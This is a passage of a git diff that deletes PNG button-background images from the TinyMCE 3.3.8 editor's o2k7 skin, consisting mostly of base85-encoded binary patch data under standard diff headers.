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 R!Sp}^Mt9BhYjvGt{|88cricIl diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_black.png b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_black.png deleted file mode 100644 index 8996c7493e8a58c9c40845cbe8abdc3e6730716d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3736 zcmV;J4rlR+P)<h;3K|Lk000e1NJLTq003A3002S=1^@s6)7TNo00009a7bBm000XU z000XU0RWnu7ytkYPiaF#P*7-ZbZ>KLZ*U+<Lqi~Na&Km7Y-Iodc-oy)XH-+^7Crag z^g>IBfRsybQWXdwQbLP>6p<z>Aqfylh#{fb6;Z(vMMVS~$e@S=j*ftg6;Uh<iVD~V z<RPMtgQJLw%KPDaqifc@_vX$1wbwr9tn;0-&j-K=43<bUQ8j=JsX`tR;Dg7+#^K~H zK!FM*Z~zbpvt%K2{UZSY_<lS*D<Z%Lz5oGu(+dayz)hRLFdT>f59&ghTmgWD0l;*T zI7<kC6aYYajzXpYKt=(8otP$50H6c_V9R4-;{Z@C0AMG7=F<Rxo%or10RUT+Ar%3j zkpLhQWr#!oXgdI`&sK^>09Y^p6lP1rIRMx#05C~cW=H_Aw*bJ-5DT&Z2n+x)QHX^p z00esgV8|mQcmRZ%02D^@S3L16t`O%c004NIvOKvYIYoh62rY33S640`D9%Y2D-<?i z0%4j!F2Z@488U%158(66005wo6%pWr^Zj_v4zAA5HjcIqUoGmt2LB>rV&neh&#Q1i z007~1e$oCcFS8neI|hJl{-P!B1ZZ9hpmq0)X0i`JwE&>$+E?>%_<lS*MWK+n+1cgf z<k(8YLR(?VSAG6x!e78w{cQPuJpA|d;J)G{fihizM+Erb!p!tcr5w+a34~(Y=8s4G zw+sLL9n&JjNn*KJDiq^U5^;`1nvC-@r6P$!k}1U{(*I=Q-z@tBKHoI}uxdU5dyy@u zU1J0GOD7Ombim^G008p4Z^6_k2m^p<gW=D2|L;HjN1!DDfM!XOaR2~bL?kX$%CkSm z2mk;?pn)o|K^yeJ7%adB9Ki+L!3+FgHiSYX#KJ-lLJDMn9CBbOtb#%)hRv`YDqt_v zKpix|QD}yfa1JiQRk#j4a1Z)n2%f<xynzV>LC6RbVIkUx0b+_+BaR3cnT7Zv!AJxW zizFb)h!jyGOOZ85F;a?DAXP{m@;!0_Ifq<Ex{*7`05XF7hP+2Hl!3BQJ=6@fL%FCo z8iYoo3(#bAF`ADSpqtQgv>H8(HlgRxt7s3}k3K`kFu>>-2Q$QMFfPW!La{h336o>X zu_CMttHv6zR;&ZNiS=X8v3CR#fknUxHUxJ<AYmRsNLWl*PS{AOARHt#5!wki2?K;t z!Y3k=s7tgax)J%r7-BLphge7~Bi0g+6E6^Zh(p9TBoc{3GAFr^0!gu?RMHaCM$&Fl zBk3%un>0uoBa_M6WNWeqIg~6QE69c9o#eyhGvpiOA@W-aonk<7r1(?fC{oI5N*U!4 z<uv66WtcKSRim0x-Ke2d5jBrmLam{;Qm;{ms1r1GnmNsb7D-E`t)i9F8fX`2_i3-_ zbh;7Ul^#x)&{xvS=|||7=mYe33=M`AgU5(xC>fg=2N-7=cNnjjOr{yriy6mMFgG#l znCF=fnQv8CDz++o6_Lscl}eQ+l^ZHARH>?_s@|##Rr6KLRFA1%Q+=*RRWnoLsR`7U zt5vF<Q0r40Q)j6=sE4X&sBct1q<&fbi3VB2Ov6t@q*0);U*o*SAPZv|vv@2aYYnT0 zb%8a+Cb7-ge0D0knEf5Qi#@8Tp*ce{N;6lpQuCB%KL_KOarm5cP6_8Ir<e17iry6O zDdH&`rZh~sF=bq9s+O0QSgS~@QL9Jmy*94xr=6y~MY~!1fet~(N+(<=M`w@D1)b+p z*;C!83a1uLJv#NSE~;y#8=<>IcfW3@?wFpwUVxrVZ>QdQz32KIeJ}k~{cZZE^+ya? z2D1z#2HOnI7(B%_ac?{wFUQ;QQA1tBKtrWrm0_3Rgps+?Jfqb{jYbcQX~taRB;#$y zZN{S}1|}gUOHJxc?wV3fxuz+mJ4`!F$IZ;mqRrNsHJd##*D~ju=bP7?-?v~|cv>vB zsJ6IeNwVZxrdjT`yl#bBIa#GxRa#xMMy;K#CDyyGyQdMSxlWT#tDe?p!?5wT$+oGt z8L;Kp2HUQ-ZMJ=3XJQv;x5ci*?vuTfeY$;({XGW_huIFR9a<fJbF^|4I#xQ~n$Dc= zKYhjYmgz5NSkDm8*fZm{6U!;YX`NG>(?@3)XSs8O^N5RyOM=TTmp(3=8^+zpz2r)C z^>JO{deZfso3oq3?Wo(Y?l$ge?uXo;%ru`Vo>?<<(8I_>;8Eq#KMS9gFl*neeosSB zfoHYnBQIkwkyowPu(zdms`p{<7e4kra-ZWq<2*OsGTvEV%s0Td$hXT+!*8Bnh2KMe zBmZRodjHV?r+_5^X9J0WL4jKW`}lf%A-|44I@@LTvf1rHjG(ze6+w@Jt%Bvjts!X0 z?2xS?_ve_-k<Mujg;0Lz*3buG=3$G&ehepthlN*$KaOySSQ^nWmo<0M+(UEUMEXRQ zMBbZcF;6+KElM>iKB_KiJlZ$9G`c^=E@oNG)mWWaNo-3TIW8)$Hg0Ub-~8?KhvJ>$ z3*&nim@mj(aCxE5!t{lw7O5^0EIO7zOo&c6l<+|iDySBWCGrz@C5{St!X3hAA}`T4 z(TLbXTq+(;@<=L8dXnssyft|w#WSTW<++3>sgS%(4NTpeI-VAqb|7ssJvzNHgOZVu zaYCvgO_R1~>SyL=cFU|~g|hy|Zi}}s9+d~lYqOB71z9Z$wnC=pR9Yz4DhIM>Wmjgu z&56o6maCpC&F##y%G;1PobR9i?GnNg;gYtchD%p19a!eQtZF&3JaKv33gZ<8D~47E ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BK<z=<L*0kfKU@CX*zeqbYQT4(^U>T#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot<a{81DF0~rvGr5Xr~8u`lav1h z1DNytV>2z=00004XF*Lt006O$eEU(80000WV@Og>004R=004l4008;_004mL004C` z008P>0026e000+nl3&F}000BCNkl<Zc-rh+&ubGw6n-1_UXMz#2d@PwG*E?7BF3{` zy@*&!(1Q4<h)^|$fbFs5A{2^d#k7QKQL%_c4_0U~^rl$r56ouALyAo%lVoOhzD+i~ z2YZ<G&71eWet9#qA8}s2eJ==LmGv@J)}Q|$PtRPSJGbYZsBvF!ZENM5o)~u!apfAD zYr1=HLC7__K>)#*re`t|z!@uXQTe7P#;w#Wn=3>BNw{8@$8{@lQTY-PZN7P@?K?Gj zwyh>rjW7nIn1{^QG`8%on(qc8CV(xigUr`7w(PH(?}{LZ1z=n2AoDeiE&HqHGlS6# z<{k|0!N^@1vHK(QHH|I%tL8I<@eCF*F<4lQb18Ga?Qf;>3u`&*#FuMQ)tDj@gnL?+ zxAm_gB0;6{hE)7Um$l7e>&Ne1W6JjfLOsnUkHcDX{8g_)L`17zrR&;ZV(Y}$snNA{ zh3$QHu0!IiJXwRq?iF9_s_e%Eu&s5F`I^R-{Z;c5&)|OMsK;PGCI(wt2br&FY}sEm zpBW5iF!x~Y!Q6ut_Urebmhr)lp99~6uV1}l<S*Bxsu9NE-JOqJ$6?I#yb)Bs`A5r; z8r?|?VxP)NE6dX2A0o%hX0zW<Y;8mG&5f1KCyliZPmi8#2RQw80g`aBSac9^)1T(` z94A5mc5c?p|7D?Ns8p4Sh-m7XT@*H#aJ%K1%e{R*KMwh>r)GVVYyceilo$(Yz}V4n zP`(d_C!HvOqs3NgayGsi@d6C|wnfB2sVXyr<6toNU~muS7GbAF2yPMB7SWl(e&QJH zTzt^Zpl3HDGWZw==T!UMK<qE|V6akECc>)8pl`DTW@K<B9K`;j1n#0not*#<e7g^t z!AFlM%{9s@&DmLBszX#8S7A{tXw|7yl@qtgiPr0=czUDlGn<>7`0`L2pUzihK1EnL zMfjcHMI@KOgLH~u2BR754+FqR2IF2=GJ|d4;MbYKePZzLx8wl)_h4WFR;tSRy$mGR z93ZCWc_TZAw{Yw49Y)Ger7An9-zuB_R#?|izg0$=tF6+SS{PMV2RLmN{Qf|6v_=os zQEE*rtg5SHItn;a)eZ$PAJZ6MTW8fi0h}OKh#E7P8O%MHTLiZVZV|)E;3HKzgzDQ5 zOHtxXNA+a}TiN79wLs43?6K-Quq{H=6GY(F9&DoeGJ}Wq6p<tb^C^NEJXAfH8O$w$ z8H@)QsnpuGBq`uT<mNS1T2sq`64q70a{~hKzX1Snh1TAytgDv*0000<MNUMnLSTZ} Chyz3b diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_silver.png b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_silver.png deleted file mode 100644 index bd5d2550c06d83c1141b78c5af7217e89559fc32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5358 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 